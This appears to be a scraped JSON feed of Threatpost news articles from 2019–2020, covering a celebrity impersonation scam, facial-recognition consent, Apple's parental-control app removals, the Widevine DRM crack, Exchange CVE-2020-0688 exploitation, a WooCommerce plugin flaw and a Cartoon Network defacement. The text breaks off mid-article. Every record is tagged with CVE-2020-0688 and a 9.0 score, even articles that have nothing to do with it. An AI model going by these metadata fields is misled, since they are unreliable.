"description": "English actor Jason Statham \u2013 a.k.a. \u201cthe Transporter\u201d \u2013 is cozying up to people who like his Facebook page \u2013 or at least, someone purporting to be him is.\n\nA fraudster managed to bilk a vulnerable and unsuspecting Statham fan out of a \u201csignificant amount\u201d of money after approaching her while she was perusing a fan page for the actor on Facebook.\n\n\u201cShe thought it was nice that the actor had seemingly embraced \u2018talking to his fans,\u2019 and she admitted that she was also in a vulnerable place after recently losing her mother and fianc\u00e9,\u201d explained researchers at Tripwire, who flagged the incident in a [Monday post](<https://www.tripwire.com/state-of-security/latest-security-news/fraudster-posed-as-jason-statham-to-prey-upon-star-struck-users/>). \u201cShe therefore felt no unease when the fraudster asked her to talk with them over WhatsApp.\u201d\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>)\n\nA truly bad romance ensued, with hundreds of WhatsApp messages flying between the two over the course of months, during with Faux Statham professed his undying love: \u201cWill you love me and be the special woman beside me for the rest of your life honey\u201d reads one of the messages.\n\nAfter a pattern of trust was established, the supposed action-hero actor started to complain about financial difficulties due to a delayed film payment: \u201cI really need you to do this for me honey \u2019cause I can\u2019t trust anyone but you with my money honey.\u201d\n\nThe victim proceeded to send Western Union an undisclosed sum, after which the supposed Statham disappeared.\n\n[![Jason Statham scam](https://media.threatpost.com/wp-content/uploads/sites/103/2019/04/30163632/Statham-fraud-300x113.png)](<https://media.threatpost.com/wp-content/uploads/sites/103/2019/04/30163632/Statham-fraud.png>)\n\nSource: BBC\n\nAs detective constable Craig Moylon of the Greater Manchester Police in the UK [told the BBC](<https://www.bbc.com/news/uk-england-manchester-47969165>), \u201cThis lady has been subject to somebody who just tricked her at a very vulnerable time in her life. When you see the relentless messaging that this lady got from this person and you see the grooming and the exploitation\u2026 the impact is extraordinary.\u201d\n\nThe gullibility of the victim stood out to Tyler Reguly, manager of security R&D at Tripwire. He linked it to generational and cultural norms.\n\n\u201cThis is typically what I find most surprising about [successful scams](<https://threatpost.com/godaddy-shutters-subdomains-snake-oil/144147/>),\u201d he told Threatpost in an interview. \u201cThere\u2019s a desire to believe, no matter how unlikely the scenario. We\u2019re a society of dreamers \u2013 \u2018I can win the lottery,\u2019 \u2018I can marry Celebrity X,\u2019 \u2018I can perform on stage alongside Singer Y\u2019 \u2013 and unfortunately, modern generations are being brought up to put even more belief in their dreams. So, while we have more tech savvy individuals, we have more potential targets for these criminals.\u201d\n\nThis scam also highlights the ingenuity of bad actors who prey upon unsuspecting users on social media, according to Tripwire.[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/04/30164155/Jason-Statham-008-300x180.jpg)](<https://media.threatpost.com/wp-content/uploads/sites/103/2019/04/30164155/Jason-Statham-008.jpg>)\n\n\u201cI would suspect that they setup a fan page for a celebrity and then contacted people via that fan page, claiming to be the celebrity,\u201d Reguly said. \u201cAlternatively, they may have been looking for people who publicly \u2018liked\u2019 a real Jason Statham page and reached out to those users, which is why it is important to verify the identity of those sending messages before you respond. In the case of the former, Facebook has done a great job of providing verified pages (similar to Twitter\u2019s verified users) that make it easy to tell when you\u2019re looking at a page associated with a known entity. (Specifically: \u2018A blue verification badge confirms that this is an authentic Page for this public figure, media company or brand\u2019).\u201d\n\nThese types of scams are on the rise, precisely because they\u2019re successful.\n\n\u201cI\u2019d be willing to wager that it is starting to become relatively common,\u201d Reguly said. \u201cPeople tend to have a soft spot for celebrities, we see people stand in line for hours to catch a glimpse of their favorite star filming, or pay hundreds of dollars for a quick handshake and autograph at conventions. We have a desire to connect with people who have had a meaningful impact in our lives, and that is quite commonly celebrities, particularly those that filled a role near and dear to our hearts or that sung a song that has always stuck with us\u2026.These scams work because we want to believe.\u201d\n", "cvss3": {}, "published": "2019-04-30T21:24:20", "type": "threatpost", "title": "Fake Jason Statham Bilks a Fan Out of Serious Money", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-0688"], "modified": "2019-04-30T21:24:20", "id": "THREATPOST:1925DCFAF239C5B25D21852DB978E8E9", "href": "https://threatpost.com/fake-jason-statham-fan-money/144247/", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2020-04-08T11:52:16", "description": "Half of respondents in a recent Threatpost poll said that they don\u2019t believe consent realistically exists when it comes to real-life facial recognition.\n\nThe [recent poll](<https://threatpost.com/poll-creeped-out-facial-recognition/144084/>) of 170 readers comes as facial recognition applications [continue to pop up](<https://threatpost.com/facial-recognition-are-we-ready/144066/>) in the real world \u2013 from airports to police forces. While biometrics certainly has advantages \u2013 such as making identification more efficient \u2013 gaining consent from people whose biometrics are being taken remains a mystery to some, with 53 percent of respondents saying they don\u2019t believe that consent exists or is possible in real-life facial recognition applications .\n\nIn the poll, 32 percent more respondents said that consent will be the act of giving people notification that an area is using facial recognition; and only 10 percent said consent is the ability to opt out of facial recognition applications.\n\nThe issue of biometrics consent came to the forefront again in December when the Department of Homeland Security unveiled a facial-recognition pilot program for monitoring public areas surrounding the [White House](<https://threatpost.com/white-house-facial-recognition-pilot-raises-privacy-alarms/139649/>). When asked about consent, the department said that the public cannot opt-out of the pilot, except by avoiding the areas that will be filmed as part of the program.\n\n\u201cA very weak form of protection is if the government or a business [that uses biometrics for] surveillance, they notify people,\u201d Adam Schwartz, senior staff attorney with the Electronic Frontier Foundation\u2019s civil liberties team, told Threatpost. \u201cWe think this is not consent \u2013 real consent is where they don\u2019t aim a camera at you.\u201d\n\n[![facial recognition consent ](https://media.threatpost.com/wp-content/uploads/sites/103/2019/04/25163405/consent-300x129.png)](<https://media.threatpost.com/wp-content/uploads/sites/103/2019/04/25163405/consent.png>)\n\nBeyond consent, more than half of poll respondents said that they have negative feelings toward facial recognition due to issues related to privacy and security \u2013 while 30 percent more said they have \u201cmixed\u201d feelings, understanding both the benefits and privacy concerns.\n\nWhen asked what concerns them the most about real-world facial applications, 55 percent of those surveyed pointed to privacy and surveillance issues, while 29 percent said the security of biometrics information and how the data is shared.\n\nDespite these concerns, biometrics continues to gain traction, with the EU last week [approving](<https://www.securityresearch-cou.eu/sites/default/files/02.Rinkens.Secure%20safe%20societies_EU%20interoperability_4-3_v1.0.pdf>) a massive biometrics database for both EU and non-EU citizens. The EU\u2019s approval of the database, called the \u201cCommon Identity Repository,\u201d will aim to connect the systems used by border control, migration and law-enforcement agencies.\n\nAs biometrics continue to increase, meanwhile, up to 85 percent of respondents said that they think that facial recognition should be regulated in the future.\n\nSuch laws exist or are being discussed as it relates to consent: An [Illinois law](<http://www.ilga.gov/legislation/ilcs/ilcs3.asp?ActID=3004&ChapterID=57>) for instance regulates collection of biometric information (including for facial recognition) without consent.\n\nHowever, that law only applies to businesses and not law enforcement. Meanwhile, a new bill introduced in the Senate in [March](<https://www.schatz.senate.gov/imo/media/doc/SIL19337.pdf>), the \u201cCommercial Facial Recognition Privacy Act,\u201d would bar businesses that are using facial recognition from harvesting and sharing user data without consent.\n\n\u201cThe time to regulate and restrict the use of facial recognition technology is now, before it becomes embedded in our everyday lives,\u201d said Jason Kelly, digital strategist with EFF, in a [recent post](<https://www.eff.org/deeplinks/2019/04/skip-surveillance-opting-out-face-recognition-airports>). \u201cGovernment agencies and airlines have ignored years of warnings from privacy groups and Senators that using face recognition technology on travelers would massively violate their privacy. Now, the passengers are in revolt as well, and they\u2019re demanding answers.\u201d\n", "cvss3": {}, "published": "2019-04-26T12:10:15", "type": "threatpost", "title": "Facial Recognition 'Consent\u2019 Doesn\u2019t Exist, Threatpost Poll Finds", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-0688"], "modified": "2019-04-26T12:10:15", "id": "THREATPOST:677D5A0A56D06021C8EF30D0361579C6", "href": "https://threatpost.com/facial-recognition-consent-doesnt-exist-threatpost-poll-finds/144126/", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2020-04-08T12:00:27", "description": "Apple is defending its decision to take down several highly popular parental control apps amidst a firestorm of backlash, saying it did so for \u201cprivacy and security\u201d reasons.\n\nApple came under scrutiny this weekend after a New York Times article alleged that the phone giant had unfairly removed or restricted at least 11 top screen-time and parental-control apps from its marketplace \u2013 after creating its own screen-time app. Among those that have been removed are OurPact, which has 3 million downloads, and Mobicip, which has 2.5 million downloads.\n\nWhile it looks like a competitive move, Apple tells a different story: Its aim was to weed out apps that were using mobile device management (MDM) technology it said, which gives third-party control and access over other devices and sensitive information, including location, app use and more. Parental-control apps, which allow parents to keep tabs (and set limits) on their children\u2019s on-phone activities, locations and more, are thus effectively collecting way too much data, Apple said.\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>)\n\n\u201cWe recently removed several parental-control apps from the App Store, and we did it for a simple reason: They put users\u2019 privacy and security at risk. It\u2019s important to understand why and how this happened,\u201d the company said in a [Sunday statement](<https://www.apple.com/newsroom/2019/04/the-facts-about-parental-control-apps/>), entitled \u201cThe Facts About Parental Control Apps.\u201d\n\nRegardless of the reason, the incident has raised questions about how competition is handled between apps and the sometimes-competing platforms that they are sold on. Impacted app developers, for their part, continue to be up-in-arms regarding the incident \u2013 with two popular parental control apps, Kidslox and Qustodio, last week filing an anti-competition complaint with the European Commission\u2019s competition office.\n\n## Angry App Devs\n\nThe Saturday[ report](<https://www.nytimes.com/2019/04/27/technology/apple-screen-time-trackers.html>) by the New York Times_, _working with app data firm Sensor Tower, shows that Apple has removed or restricted 11 of the 17 most downloaded parental-control apps, as well as restricting lesser-known apps. That includes forcing apps to remove features that enable parents to control children\u2019s devices, or restrict access to adult content.\n\nThe move comes after Apple launched its own screen control app, Screen Time, a feature built into iOS 12 that enables users to set screen time and limits on their own phones.\n\nThe complaint from Kidslox and Qustodio that was filed with the European Commission\u2019s competition office was filed in tandem with the report, saying that the removal and restriction of parental-control apps was an anti-competitive practice by nature.\n\n[![Apple Screen Time parental control apps](https://media.threatpost.com/wp-content/uploads/sites/103/2019/04/29144205/screen-time-1--300x68.png)](<https://media.threatpost.com/wp-content/uploads/sites/103/2019/04/29144205/screen-time-1-.png>)\n\nParental Control Apps\n\nKidslox alleges that Apple has required it to make changes to its app that ultimately harmed it competitive factor.\n\n\u201cTo create Screen Time, Apple took the best pieces and best practices from existing parental-control and well-being apps in the App Store, bringing no tangible innovations to market,\u201d Kidslox CEO Viktor Yevpak said in a statement provided to Threatpost. \u201cStanding up to Apple is about even more than fair competition.\u201d\n\nMeanwhile Qustodio, in a statement showed to Threatpost regarding the EU complaint, said that Apple has arbitrarily blocked several parental-control apps in the market from making app updates, while completely removing others.\n\n\u201cWith the introduction of Apple\u2019s Screen Time, developers in the parental control category experienced unprecedented anti-competitive behavior from Apple,\u201d Qustodio CEO Eduardo Cruz said in the statement. \u201cThe company acts as both a marketplace and a gatekeeper and uses its dominant position to create exclusive competitive advantage for its own service.\u201d\n\nOther screen-time apps began complaining about being removed from the Apple Store all the way back in the fall of 2018, including Mute, a screen-time tracking app.\n\nNick Kuh, creator of Mute, [complained](<https://medium.com/@nick.kuh/mute-app-startup-to-shutdown-a1db01440c56>) in October 2018 that Apple had removed his app from the App Store (Apple later returned his app after his post gained media attention).\n\n\u201cIt appears that Apple are now shutting down many (all?) screen-time tracking apps now that they\u2019ve added screen-time tracking into iOS 12,\u201d he said in his post. \u201cIt turns out that Apple have sent a similar email to many other app developers of screen-time tracking and parental-control apps. I believe that Mute is one of the first to go, but expect others to disappear from the App Store in the coming weeks as their notice period expires.\u201d\n\n## Apple Hits Back** **\n\nIn response to reports of developer outrage, Apple said in a statement: \u201cApple has always supported third-party apps on the App Store that help parents manage their kids\u2019 devices. Contrary to what the _New York Times_ reported over the weekend, this isn\u2019t a matter of competition. It\u2019s a matter of security.\u201d\n\nApple said several of the apps removed use the MDM format, which is typically used by enterprises to give companies control over their employees\u2019 devices. However, when non-enterprise developers use the feature on their apps, the technology can have dangerous privacy and security implications, Apple said.\n\nThese MDM functions give apps a \u201cconfiguration profile\u201d which is generally used for enterprises \u2013 and allow users to configure or track certain settings \u2013 including app settings, Wi-Fi and permissions. In other words, app developers behind the apps gain access to all data \u2013 such as location, activity and more \u2013 of the children whose phones are being controlled.\n\n[![apple screen time parental controls ](https://media.threatpost.com/wp-content/uploads/sites/103/2019/04/29144327/screen-time-2-169x300.png)](<https://media.threatpost.com/wp-content/uploads/sites/103/2019/04/29144327/screen-time-2.png>)\n\nApple Screen Time\n\nApple did not respond to multiple requests for comment from Threatpost.\n\nThe company in its statement said that it began noticing that non-enterprise developers were using MDM back in early 2017, and updated their guidelines based on that work in mid-2017.\n\n\u201cWhen we found out about these guideline violations, we communicated these violations to the app developers, giving them 30 days to submit an updated app to avoid availability interruption in the App Store,\u201d Apple said. \u201cSeveral developers released updates to bring their apps in line with these policies. Those that didn\u2019t were removed from the App Store.\u201d\n\nHowever, app developers argue that MDM is not used maliciously and that parents setting up the apps are given fair notice about the MDM features when downloading the app.\n\nSuren Ramasubbu, CEO of one of the parental control apps impacted by Apple\u2019s crackdown, Mobicip, said that when parental control apps using MDM is installed, it is the parent that goes through the process of setting up \u2013 and they are explicitly asked to agree to the terms and conditions and privacy policy before installing the MDM profile and certificate.\n\n\u201cPlease note that the parent has explicitly agreed to enroll the device in a third-party MDM system,\u201d he said in a [post](<https://medium.com/@suren_60419/apples-case-for-removing-screentime-apps-seven-questions-for-phil-schiller-33cf78b01713>) over the weekend. \u201cDo these parents understand the risks? May be. May be not. But should it be the parent who decides the risk vs. reward? Given that Apple Screen Time requires both parents and children to be on Apple devices, and given that most families today have a blend of devices with the parents on Android, isn\u2019t it anti-competitive to not give parents this choice?\u201d\n\nApps like Kidslox and Qustodio continue to maintain that Apple\u2019s practices are unfair \u2013 and ultimately hurting both app developers and consumers.\n\n\u201cQustodio and Kidslox are asking Apple to stop this unprecedented hostile behavior, compete fairly, and open up exclusive API\u2019s and technologies introduced in their own Screen Time service,\u201d according to Qustodio.\n\nIt\u2019s not the first time Apple has come under fire for anti-competition app store practices \u2013 in March, [Spotify filed a complaint](<https://newsroom.spotify.com/2019-03-13/consumers-and-innovators-win-on-a-level-playing-field/>) against the iPhone maker saying that newly-introduced App Store rules \u2013 such as a 30 percent tax imposed on purchases made via Apple\u2019s payment system \u2013 stifle competing music services that are being sold on its platform.\n", "cvss3": {}, "published": "2019-04-29T19:26:31", "type": "threatpost", "title": "Apple Defends Parental Control App Removal Amid Backlash", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-0688"], "modified": "2019-04-29T19:26:31", "id": "THREATPOST:22663CEB225A1F7F9DD4EBD8B84956C1", "href": "https://threatpost.com/apple-parental-control-app-removal/144181/", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2020-04-08T11:51:54", "description": "Researchers have used a proof-of-concept (PoC) side-channel attack to download an unencrypted raw file for Netflix\u2019 Stranger Things, in a format that\u2019s ready to distribute out to any buyer on the internet.\n\nThis pirate\u2019s booty is the result of breaking open the widely deployed digital rights management (DRM) to framework known as Widevine, the DRM engine behind Netflix, Hulu and Amazon Prime, among others.\n\nBy way of background, Widevine is an encryption method developed by Google but offered royalty-free to content creators and streaming services. According to Google stats, about 5 billion devices out there support it, and 82 billion content licenses are issued quarterly. In other words, it\u2019s a Big Kahuna when it comes to anti-piracy approaches \u2013 rivaled only by Apple\u2019s FairPlay and Microsoft\u2019s PlayReady DRM schemes.\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>)\n\nWidevine\u2019s end-to-end approach to encrypting copyrighted content and [preventing piracy](<https://threatpost.com/kodi_box_malware/144191/>) is actually quite secure, according to researchers at Fidus Information Security, who developed the PoC. But a vulnerability exists in Level 3 of the framework that opens the door to side-channel attacks.\n\n## The Widevine Approach\n\nTo keep pirates from streaming or downloading content that they shouldn\u2019t (both for personal or resale purposes), Widevine uses a combination of hardware security and an isolated secure operating system (OS).\n\nAs it explains in its [documentation](<https://www.widevine.com/>), Widevine offers three levels of content protection: 1, 2 and 3. Level 1 is the most secure, where all content processing and cryptography operations are handled inside a Trusted Execution Environment (TEE); and, Widevine is incorporated into a display via a secured path like HDCP. This is the case with most modern Android devices.\n\nIn Level 2, Widevine is used within a TEE to decrypt a stream, which is then sent to the display in an unprotected format.\n\nAnd in Level 3, which Fidus researchers were able to crack, Widevine is used to decrypt streams using the device\u2019s CPU rather than inside the secure TEE, after which the decrypted stream is sent to the display unprotected. The Chrome and Firefox browsers use Level 3, for instance.\n\nThe capabilities of the user\u2019s playback device and the quality of the content determines which level of protection is applied. Level 3 is used mainly for non-HD streams, 720p and below, and low-resolution audio \u2013 content that would be delivered over spotty broadband to a desktop or laptop (which is why browsers support Level 3) or to less sophisticated, low-cost, non-HD devices that lack TEEs, which are [actually found in volume](<https://www.androidauthority.com/oneplus-5t-review-814075/>) in many areas of the world, like China. Some mobile devices also [block HD streams](<https://www.digit.in/features/mobile-phones/poco-f1-is-not-the-only-smartphone-to-block-hd-streaming-no-xiaomi-device-can-stream-netflix-in-hd-43339.html>) because of wireless carrier restrictions.\n\nIn all cases, \u201cthrough the design of the Widevine framework, the keys that have been used to encrypt the content are never actually exposed directly to the user,\u201d explained the firm, in a [Monday posting](<https://fidusinfosec.com/breaking-content-protection-on-streaming-websites/>) on the PoC. \u201cInstead, the header file that gets sent to the client when a stream is started contains the bare minimum information needed, containing just some metadata about the encryption scheme used.\u201d\n\nThat metadata then gets passed to the content decryption module (CDM), which is contained in the client or browser that the user has installed. The CDM handles getting the license keys from the Widevine license server, before the content is decrypted and displayed, using Arxan to obfuscate the communication with the server. The license server then sends back a license to the client, which contains the content keys. These content keys are then used by the CDM to decrypt the content, which the user can then view.\n\nHowever, using a new variant of a piracy method [uncovered by researcher David Buchanan](<https://twitter.com/David3141593/status/1080606827384131590>) in January, the Fidus researchers were able to board the Netflix ship, as it were, and plunder its premium content by plucking the keys out of this process.\n\n## Breaking Widevine L3\n\n\u201cIt was possible to download a raw file of Stranger Things from Netflix and fully remove the content protection enabled; allowing for illegal distribution of the material,\u201d Fidus researchers noted.\n\nIt should be noted that the issue lies with Widevine, and that Netflix is just one of many Widevine users susceptible to such an attack, the researchers said.\n\nFidus team said that they won\u2019t be publishing the PoC code or further details given that the repercussions could be significant. In January, Buchanan was similarly cagey about his own Widevine-cracking, but did say that it was \u201cscarily trivial to pull off,\u201d and that he used the [Side-Channel Marvels](<https://github.com/SideChannelMarvels>) project during \u201ca few evenings of work\u201d to do so.\n\n\u201cTheir Whitebox AES-128 implementation is vulnerable to the well-studied DFA attack, which can be used to recover the original key. Then you can decrypt the MPEG-CENC streams with plain old ffmpeg,\u201d he tweeted at the time, referring to differential fault analysis (DFA), more on which [can be found here](<https://blog.quarkslab.com/differential-fault-analysis-on-white-box-aes-implementations.html>).\n\nHe also said that while Google acknowledged the issue, there\u2019s not much to be done:\n\n> DRM is flawed by design. I do not consider this a bug, and it cannot be fixed.\n> \n> \u2014 D\u0430v\u0456d \u0412uc\u04bb\u0430n\u0430n (@David3141593) [January 3, 2019](<https://twitter.com/David3141593/status/1080618940689252352?ref_src=twsrc%5Etfw>)\n\nFidus intimated that it was working on breaking Widevine L1 and L2 \u2013 which \u201cWith Level 3 down, there\u2019s two to go.\u201d These, if cracked, would be a much bigger problem for Widevine and those that rely upon it, opening the door to pirating the higher-value HD content.\n\nThreatpost has reached out to Fidus for more details and will update this post for any new information.\n\nGoogle did not immediately return a request for comment.\n\n** **\n", "cvss3": {}, "published": "2019-04-30T16:28:34", "type": "threatpost", "title": "Researchers Compromise Netflix Content in Widevine DRM Hack", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-0688"], "modified": "2019-04-30T16:28:34", "id": "THREATPOST:4C22D22EF8F65F5DA108A15C99CB9F55", "href": "https://threatpost.com/netflix-compromised-widevine-drm-hack/144220/", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2020-03-10T12:45:58", "description": "Multiple threat groups are actively exploiting a vulnerability in Microsoft Exchange servers, researchers warn. If left unpatched, the flaw allows authenticated attackers to execute code remotely with system privileges.\n\nThe vulnerability in question (CVE-2020-0688) exists in the control panel of Exchange, Microsoft\u2019s mail server and calendaring server, and was fixed as part of Microsoft\u2019s [February Patch Tuesday](<https://threatpost.com/microsoft-active-attacks-air-gap-99-patches/152807/>) updates. However, researchers [in a Friday advisory](<https://www.volexity.com/blog/2020/03/06/microsoft-exchange-control-panel-ecp-vulnerability-cve-2020-0688-exploited/>) said that unpatched servers are being exploited in the wild by unnamed advanced persistent threat (APT) actors.\n\n\u201cWhat we have seen thus far are multiple Chinese APT group exploiting or attempting to exploit this flaw,\u201d Steven Adair, founder and president of Volexity, told Threatpost. \u201cHowever, I think it is safe to say that this exploit is now in the hands of operators around the world and unfortunately some companies that have not patched yet or did not patch quickly enough are likely to pay the price.\u201d\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>)\n\nAttacks first started late February and targeted \u201cnumerous affected organizations,\u201d researchers said. They observed attackers leverage the flaw to run system commands to conduct reconnaissance, deploy webshell backdoors and execute in-memory frameworks post-exploitation.\n\n## The Flaw\n\nAfter Microsoft patched the flaw in February researchers with the Zero Day Initiative (ZDI), which first reported the vulnerability, [published further details](<https://www.zerodayinitiative.com/blog/2020/2/24/cve-2020-0688-remote-code-execution-on-microsoft-exchange-server-through-fixed-cryptographic-keys>) of the flaw and how it could be exploited. And, on March 4, Rapid7 published a module that incorporated the exploit into the Metasploit penetration testing framework.\n\nThe vulnerability exists in the Exchange Control Panel (ECP), a web-based management interface for administrators, introduced in Exchange Server 2010. Specifically, instead of having cryptographic keys that are randomly generated on a per-installation basis, all installations in the configuration of ECP have the same cryptographic key values. These cryptographic keys are used to provide security for ViewState (a server-side data that ASP.NET web applications store in serialized format on the client).\n\nAccording to ZDI, an attacker could exploit a vulnerable Exchange server if it was unpatched (before Feb. 11, 2020), if the ECP interface was accessible to the attacker, and if the attacker has a working credential allowing them to access the ECP. After accessing the ECP using compromised credentials, attackers can take advantage of the fixed cryptographic keys by tricking the server into deserializing maliciously crafted ViewState data, then allowing them to take over Exchange server.\n\n\u201cWe realized the severity of this bug when we purchased it,\u201d Brian Gorenc, director of vulnerability research and head of Trend Micro\u2019s ZDI program told Threatpost via email. \u201cThat\u2019s why we worked with Microsoft to get it patched through coordinated disclosure, and it\u2019s why we provided defenders detailed information about it through our blog. We felt Exchange administrators should treat this as a Critical patch rather than Important as labelled by Microsoft. We encourage everyone to apply the patch as soon as possible to protect themselves from this vulnerability.\u201d\n\n## Brute Force\n\nResearchers said, while an attacker would need a credential to leverage the exploit, the credential does not need to be highly privileged or even have ECP access.\n\nAfter technical details of the flaw were disclosed, researchers said they observed multiple APT groups attempting to brute force credentials by leveraging Exchange Web Services (EWS), which they said was likely an effort to exploit this vulnerability.\n\n\u201cWhile brute-forcing credentials is a common occurrence, the frequency and intensity of attacks at certain organizations has increased dramatically following the vulnerability disclosure,\u201d researchers said.\n\nResearchers said they believe these efforts to be sourced from \u201cknown APT groups\u201d due to the overlap of their IP addresses from other, previous attacks. Also, in some cases, the credentials used were tied to previous breaches by the APT groups.\n\n## Going Forward\n\nIn the coming months, Adair told Threatpost he suspects there could easily be hundreds of organizations being hit with this exploit.\n\n\u201cFrom our perspective the successful attacks we have seen are just a handful of different servers and organizations,\u201d Adair said. \u201cHowever, I would expect that attackers have been access compromised credentials all around the world and are not able to make better use of them.\u201d** **\n\nResearchers encourage organizations to ensure that they\u2019re up to date on security updates from Microsoft, as well as place access control list (ACL) restrictions on the ECP virtual directory or via any web application firewall capability. Firms should also continue to expire passwords and require users to update passwords periodically, researchers said.\n\n\u201cThis vulnerability underscores such a case where an organization can be locked down, have properly deployed 2FA, and still have an incident due to outdated or weak password,\u201d said researchers.\n\n**_Interested in security for the Internet of Things and how 5G will change the threat landscape? Join our free Threatpost webinar, [\u201c5G, the Olympics and Next-Gen Security Challenges,\u201d](<https://attendee.gotowebinar.com/register/3191336203359293954?source=art>) as our panel discusses what use cases to expect in 2020 (the Olympics will be a first test), why 5G security risks are different, the role of AI in defense and how enterprises can manage their risk. [Register here](<https://attendee.gotowebinar.com/register/3191336203359293954?source=art>)._**\n\nWrite a comment\n\n**Share this article:**\n\n * [Hacks](<https://threatpost.com/category/hacks/>)\n", "cvss3": {}, "published": "2020-03-09T18:01:41", "type": "threatpost", "title": "Microsoft Exchange Server Flaw Exploited in APT Attacks", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-0688"], "modified": "2020-03-09T18:01:41", "id": "THREATPOST:21FB6EBE566C5183C8FD9BDA28A56418", "href": "https://threatpost.com/microsoft-exchange-server-flaw-exploited-in-apt-attacks/153527/?utm_source=rss&utm_medium=rss&utm_campaign=microsoft-exchange-server-flaw-exploited-in-apt-attacks", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2020-04-08T11:52:08", "description": "UPDATE\n\nA vulnerability in a popular WordPress plugin called the WooCommerce Checkout Manager extension is potentially putting more than 60,000 websites at risk, researchers say.\n\nThe WooCommerce Checkout Manager plugin allows WooCommerce users to customize and manage the fields on their checkout pages. The plugin, owned by Visser Labs, is separate from the WooCommerce plugin, which is owned by Automattic.\n\nAs of Monday, an update for WooCommerce Checkout Manager is available (version 4.3) that patches the vulnerability. That can be downloaded [here](<https://wordpress.org/support/topic/upgrade-to-4-3/>).\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>)\n\n\u201cEarlier this week, an arbitrary file upload vulnerability has been found in popular WordPress plugin WooCommerce Checkout Manager which extends the functionality of well known WooCommerce plugin,\u201d said Luka Sikic, with WebArx Security in a [Thursday post](<https://www.webarxsecurity.com/woocommerce-checkout-manager/>).\n\nVisser Labs has not responded to a request for comment from Threatpost. On Friday, the plugin has been removed from the WordPress plugin repository. \u201cThis plugin was closed on April 26, 2019 and is no longer available for download,\u201d according to a [notice](<https://wordpress.org/plugins/woocommerce-checkout-manager/>) on the site. However, that still leaves the 60,000 websites who have already downloaded and are utilizing the plugin open to attack, according to researchers.\n\nOn Tuesday, Plugin Vulnerabilities published a proof of concept outlining an attack on an arbitrary file upload vulnerability in WooCommerce Checkout Manager. The disclosed vulnerability exists because the plugin\u2019s \u201cCategorize Uploaded Files\u201d option does not check privileges or permissions before files are uploaded. As a result, bad actors could upload \u2013 and then execute \u2013 malicious files.\n\n\u201cSince there is no privilege or permission check before uploading a file, the exploitation of the vulnerability in WooCommerce Checkout Manager is simple and doesn\u2019t require an attacker to be registered on the site,\u201d Sikic said.\n\nThe number of vulnerable plugins being exploited in a massive campaign is racking up, with the WooCommerce Checkout Manager the latest plugin to be exploited.\n\nThe WooCommerce Checkout Manager is only the latest plugin to have a disclosed vulnerability, researchers say.\n\n\u201cWe continue to see an increase in the number of plugins attacked as part of a campaign that\u2019s been active for quite a long time,\u201d according to John Castro with Sucuri in a recent [post](<https://blog.sucuri.net/2019/04/plugins-added-to-malicious-campaign.html>). \u201cBad actors have added more vulnerable plugins to inject similar malicious scripts.\u201d\n\nOther plugins recently added to the attack include WP Inventory Manager and Woocommerce User Email Verification. That\u2019s on top of others, including Social Warfare, [Yellow Pencil Visual Theme Customizer](<https://threatpost.com/wordpress-yellow-pencil-plugin-exploited/143729/>), and [Yuzo Related Posts](<https://threatpost.com/wordpress-urges-users-to-uninstall-yuzo-plugin-after-flaw-exploited/143710/>).\n\nResearchers urged plugin users to disable the plugin completely or disable the \u201cCategorize Uploaded Files\u201d option on the plugin settings page.\n\n\u201cAttackers are trying to exploit vulnerable versions of these plugins,\u201d said Castro. \u201cPublic exploits already exist for all of the components listed above, and we highly encourage you to keep your software up to date to prevent any infection.\u201d\n\n_This article was updated on April 30 at 8 a.m. ET to reflect that the vulnerability has now been patched._\n", "cvss3": {}, "published": "2019-04-26T19:44:55", "type": "threatpost", "title": "Users Urged to Update WordPress Plugin After Flaw Disclosed", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-0688"], "modified": "2019-04-26T19:44:55", "id": "THREATPOST:33026719684C7CD1B70B04B1CFFE2AEB", "href": "https://threatpost.com/users-urged-to-disable-wordpress-plugin-after-unpatched-flaw-disclosed/144159/", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2020-04-08T11:51:43", "description": "A famous Brazilian male stripper greeted Cartoon Network viewers worldwide when they tried to stream shows over the weekend \u2013 thanks to a pair of hackers that took aim at the cable network\u2019s websites across 16 different regions.\n\nIn the aftermath, entire Cartoon Network sites and video players have been taken down while remediation continues.\n\nThe Brazilian stripper, Ricardo Milos, is known for wearing a red bandana on his head and an American flag thong. His unique approach to erotic dance fashion has propelled him to [internet meme status](<https://youtu.be/epgz-6ZikHA>); and the hackers, apparent fans, placed Milos videos on the Cartoon Network sites, along with various Arabic memes and Brazilian music vids.\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>)\n\nAccording to [reports](<https://www.zdnet.com/article/cartoon-network-websites-hacked-to-show-arabic-memes-and-brazilian-male-stripper/>), the defacement was carried out by a pair of Brazilian hackers who exploited a vulnerability in Cartoon Network\u2019s website management platform. The compromise occurred April 25, and the content stayed up over the weekend until the channel was notified April 28. While the rogue content has been removed, some 